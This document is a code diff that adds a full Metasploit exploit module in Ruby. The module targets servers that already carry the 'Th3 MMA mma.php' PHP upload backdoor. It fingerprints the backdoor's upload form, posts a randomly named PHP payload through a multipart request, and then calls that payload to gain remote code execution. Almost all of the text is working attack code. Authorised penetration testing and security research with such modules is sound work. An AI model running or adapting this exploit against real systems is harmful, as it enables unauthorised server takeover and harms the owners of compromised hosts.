|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'nokogiri' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Exploit::FileDropper |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that |
| 20 | + leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or |
| 21 | + operating system version because of the php_uname() function. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Jay Turla <@shipcod3>', |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor |
| 31 | + ], |
| 32 | + 'Privileged' => false, |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'Space' => 10000, |
| 36 | + 'DisableNops' => true |
| 37 | + }, |
| 38 | + 'Platform' => 'php', |
| 39 | + 'Arch' => ARCH_PHP, |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + ['mma file uploader', {} ] |
| 43 | + ], |
| 44 | + 'DisclosureDate' => 'Apr 2 2012', |
| 45 | + 'DefaultTarget' => 0)) |
| 46 | + |
| 47 | + register_options( |
| 48 | + [ |
| 49 | + OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]), |
| 50 | + ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one |
| 51 | + end |
| 52 | + |
| 53 | + def has_input_name?(nodes, name) |
| 54 | + nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true |
| 55 | + end |
| 56 | + |
| 57 | + def check |
| 58 | + uri = normalize_uri(target_uri.path) |
| 59 | + res = send_request_cgi({ |
| 60 | + 'method' => 'GET', |
| 61 | + 'uri' => uri |
| 62 | + }) |
| 63 | + |
| 64 | + if res |
| 65 | + n = ::Nokogiri::HTML(res.body) |
| 66 | + form = n.at('form[@id="uploader"]') |
| 67 | + inputs = form.search('input') |
| 68 | + if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl') |
| 69 | + return Exploit::CheckCode::Appears |
| 70 | + end |
| 71 | + end |
| 72 | + |
| 73 | + Exploit::CheckCode::Safe |
| 74 | + end |
| 75 | + |
| 76 | + def exploit |
| 77 | + uri = normalize_uri(target_uri.path) |
| 78 | + payload_name = "#{rand_text_alpha(5)}.php" |
| 79 | + |
| 80 | + print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor") |
| 81 | + |
| 82 | + data = Rex::MIME::Message.new |
| 83 | + |
| 84 | + data.add_part('Upload', nil, nil, 'form-data; name="_upl"') |
| 85 | + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"") |
| 86 | + post_data = data.to_s |
| 87 | + |
| 88 | + res = send_request_cgi({ |
| 89 | + 'method' => 'POST', |
| 90 | + 'uri' => uri, |
| 91 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 92 | + 'data' => post_data |
| 93 | + }) |
| 94 | + |
| 95 | + if res |
| 96 | + if res.body =~ /uplod d0n3 in SAME file/ |
| 97 | + print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...") |
| 98 | + register_files_for_cleanup(payload_name) |
| 99 | + else |
| 100 | + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") |
| 101 | + end |
| 102 | + else |
| 103 | + fail_with(Failure::Unknown, 'Connection Timed Out') |
| 104 | + end |
| 105 | + |
| 106 | + send_request_cgi({ |
| 107 | + 'uri' => normalize_uri(payload_name), |
| 108 | + 'method' => 'GET' |
| 109 | + }) |
| 110 | + end |
| 111 | +end |
0 commit comments